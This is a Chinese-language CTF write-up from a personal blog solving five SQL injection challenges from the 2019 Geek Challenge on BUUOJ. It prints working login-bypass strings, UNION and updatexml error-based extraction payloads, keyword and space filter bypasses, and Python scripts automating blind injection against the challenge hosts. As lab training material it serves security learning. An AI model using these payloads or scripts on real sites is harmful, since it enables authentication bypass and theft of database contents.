[BUUOJ]2019第十届极客大挑战SQL注入全家桶 4 min read
本文最后更新于 590 天前,其中的信息可能已经有所发展或是发生改变。

Author: 颖奇L’Amore

Blog: www.gem-love.com

搞了一星期神经网络,终于可以歇一下了,做两道题放松放松


EasySQL

万能密码一键登录

  • ‘or 1=1#
  • ‘or 1=1#

即可得到flag


LovelySQL

依然可以用万能密码登录,得到:

Hello admin!

Your password is 'c6655427ef4a118a43a80f89ea4b05e9'

但是得不到flag,这个哈希也解不开。

登录后url为:

/check.php?username=admin&password=1%27%20or%201=1%23

发现password存在注入,用limit测试后发现flag不在同一个字段中

orderby测试为3列

/check.php?username=admin&password=1' or 1 order by 3%23

然后就联合查询,先select 1,2,3发现输出的结果在3,之后就注就完了,啥过滤都没有:

查表名:

?username=admin&password=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23

得到:geekuser,l0ve1ysq1

查字段名:

?username=admin&password=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database()%23

得到:id,username,password,id,username,password

查字段值:

?username=admin&password=1' and 1=2 union select 1,2,password from l0ve1ysq1%23

得到:
Hello 2!
Your password is 'wo_tai_nan_le'

由于没有其他的可用字段了,考虑用limit读同一列内的其他字段值,写个脚本自动帮忙完成:

'''
颖奇L'Amore www.gem-love.com
'''
import requests
for i in range(0,50):
    url = 'http://fa8e5630-9629-4cc5-9ec5-aa28b5a7691e.node3.buuoj.cn/check.php?username=admin&password=1%27%20and%201=2%20union%20select%201,2,password%20from%20l0ve1ysq1 limit {},1%23'.format(i)
    r = requests.get(url)
    print(r.content[-100:])

GXYCTF的BabySQLi v2.0有点像这题

简析GXY_CTF “BabySqli v2.0”宽字节注入

脚本跑一下得到flag:

也可以用其他方法,比如updatexml()报错注入:

check.php?username=1' or '1'='1 &password=1' and updatexml(1,concat(0x7e,(SELECT password FROM l0ve1ysq1 limit 15,1),0x7e),1)%23

得到:XPATH syntax error: '~flag{7422c448-3c2a-4038-9848-c0'

因为updatexml最大返回的长度为32,flag不全,用substr()截一下把后半flag读出来:

check.php?username=1' or '1'='1 &password=1' and updatexml(1,concat(0x7e,substr((SELECT password FROM l0ve1ysq1 limit 15,1),10,32),0x7e),1)%23

得到:XPATH syntax error: '~c448-3c2a-4038-9848-c014a9c6089'

拼起来就是flag了。


BabySQL

fuzz一下发现一些关键字被替换为空了,双写绕过这些关键字:

  • where
  • and
  • from
  • or
  • union
  • select

特别注意information.shemata中也有or,也要双写。

查表:

/check.php?username=admin&password=1' aandnd 1=2 uniounionn selecselectt 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()%23

#b4bsql,geekuser

字段名:

/check.php?username=admin&password=1' aandnd 1=2 uniounionn selecselectt 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema=database()%23

#id,username,password,id,username,password

字段值(password中有or 需要双写):

/check.php??username=admin&password=1' aandnd 1=2 uniounionn selecselectt 1,2,passwoorrd frfromom b4bsql limit 7,1%23

#flag{11a4e8a2-3361-4955-a978-bfc48a20a62b}

HardSQL

fuzz发现过滤了好多东西:

  • /**/
  • 空格
  • and
  • if
  • union
  • =
  • substr
  • mid

等等关键字。不能盲注,不能联合查询,考虑报错注入

bypass技巧:

  • 用异或运算或or代替and
  • 用括号做分隔代替空格
  • like代替等号
  • 其他过滤的关键字不用便是

最开始以为table_schema被ban了,绕过了半天没绕过,结果又发现没ban,无语了

查表:

/check.php?username=admin&password=1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23

XPATH syntax error: '~H4rDsq1~'

查字段:

/check.php?username=admin&password=1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database())),0x7e),1))%23

XPATH syntax error: '~id,username,password~'

字段内容:

/check.php?username=admin&password=1'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))%23

XPATH syntax error: '~flag{373c3f1a-a321-4349-83f2-a1'

原题做到这就结束了,但是buuoj上的flag比较长,直接返回不回来,需要继续做

substr()mid()被禁了不能直接进行字符串截取。有两种办法:

1.reverse()逆序输出

?username=admin&password=1'or(updatexml(1,concat(0x7e,(select(reverse(password))from(H4rDsq1)),0x7e),1))%23

XPATH syntax error: '~}4473f60c921a-2f38-9434-123a-a1'

2.right()从右边截取特定长度

?username=admin&password=1%27or(updatexml(1,concat(0x7e,(select(right(password,32))from(H4rDsq1)),0x7e),1))%23

XPATH syntax error: '~f1a-a321-4349-83f2-a129c06f3744'

拼起来得到flag。


FinalSQL

这题注入点不再是登录。给出了一个神秘代码,点进去来到/search.php?id=1

过滤有点多,手工fuzz不全,用burp跑一下:

(or是被ban的 burp不知道为啥没测出来) fuzz之后感觉要么盲注要么报错注入,但是盲注没有if,报错又在上一个题考过了

用报错试了试,虽然没有啥被ban的关键字但是不出东西。继续fuzz发现似乎返回的是布尔结果

?id=1 真
?id=1^1 假
?id=1^1^1 真

?id=1=1 真
?id=1=2 假

?id=1=(10=10)=1 真
?id=1=(10=20)=1 假

返回结果:

NO! Not this! Click others~~~ (真)

ERROR!!!(假)
yingyingying~ Not this as well~~ (假)

所以根据这两种不同的返回结果,可以进行布尔盲注。另外就是和上一个题一样用括号绕过空格过滤做分隔符。

payload有两种,异或 或者 连等:

  • ?id=1=(表达式)=1
  • ?id=1^(表达式)^1

这种类型的布尔盲注在MetasequoiaCTF 2020里面刚出现过:

MetasequoiaCTF 2020 Writeup

脚本:

'''
颖奇L'Amore www.gem-love.com
'''
import requests
from urllib.parse import quote

flag = ''
for i in range(1,5000):
	for ascii in range(33,127):
		#table :F1naI1y,Flaaaaag
		#payload = '(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),{},1)))'.format(str(i))
		#column: id,username,password,id,username,password
		# payload = '(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_schema)=database()),{},1)))'.format(str(i))
		#flag
		payload = '(ascii(substr((select(reverse(group_concat(password)))from(F1naI1y)),{},1)))'.format(str(i))

		url = 'http://61af3963-0b44-4fcc-b2b4-48e014250150.node3.buuoj.cn/search.php?id=1=({}={})=1'.format(quote(payload), ascii)
		r = requests.get(url)
		text = r.text

		if r"others" in text:
			print('www.gem-love.com')
			flag += chr(ascii)
			print(flag)
			break

这里有个坑,两个表F1naI1y和Flaaaaag,flag并不再Flaaaag表里,注了半天发现在F1nal1y里,无语。password里面有很多没用的话,正着查的话太浪费时间了,除非二分注入可以快一些。所以我直接用了reverse()逆序输出,flag一般都在最后,直接反着求就得了,得到:

}8515d51ea432-fb6b-7cb4-45f9-bf25e175{galf

再rev一下就行了

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/1869.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

暂无评论

发送评论 编辑评论

上一篇
下一篇